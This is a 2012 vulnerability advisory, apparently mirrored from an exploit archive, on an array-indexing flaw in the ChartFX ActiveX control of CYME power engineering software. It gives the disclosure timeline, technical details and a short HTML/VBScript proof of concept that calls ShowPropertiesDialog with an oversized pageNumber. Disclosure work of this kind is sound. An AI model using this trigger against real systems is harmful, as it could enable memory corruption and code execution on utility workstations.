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Cyme ChartFX Client Server ActiveX Control Array Indexing Vulnerability
[#####################################################################################
Application: CYME Power Engineering Software
Platforms: Windows
Version: CYME version 5.0.12.663.
Secunia: SA48430
{PRL}: 2012-29
Author: Francis Provencher (Protek Research Lab's)
Website: http://www.protekresearchlab.com/
Twitter: @ProtekResearch
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) The Code
#####################################################################################
===============
1) Introduction
===============
The CYME Power Engineering software is a suite of applications composed of a network editor, analysis
modules and user-customizable model libraries from which you can choose to get the most powerful solution.
The modules available comprise a variety of advanced applications and extensive libraries for either
transmission/industrial or distribution power network analysis.
(http://www.cyme.com/software/)
This software is use by all major electrical production/distrubtion company
http://www.cyme.com/company/clients/
#####################################################################################
============================
2) Report Timeline
============================
2012-03-14 Vulnerability reported to Secunia
2012-10-03 Publication of this advisory (180 Days)
#####################################################################################
============================
3) Technical details
============================
The vulnerability is caused due to an indexing error in the "ShowPropertiesDialog()"
method (ChartFX.ClientServer.Core.dll) of the ChartFX ActiveX Control. This can be
exploited to write a single byte value to an arbitrary memory location via the
"pageNumber" parameter. Successful exploitation may allow execution of arbitrary code.
#####################################################################################
===========
4) The Code
===========
<object classid='clsid:E9DF30CA-4B30-4235-BF0C-7150F646606C' id='target' />
<script language='vbscript'>
targetFile = "C:\CYME\CYMDIST50TRIAL\ChartFX.ClientServer.Core.dll"
prototype = "Sub ShowPropertiesDialog ( ByVal context As Variant , ByVal pageNumber As Long )"
memberName = "ShowPropertiesDialog"
progid = "Cfx62ClientServer.Chart"
argCount = 2
arg1="defaultV"
arg2=2147483647
target.ShowPropertiesDialog arg1 ,arg2
# 0day.today [2024-11-15] #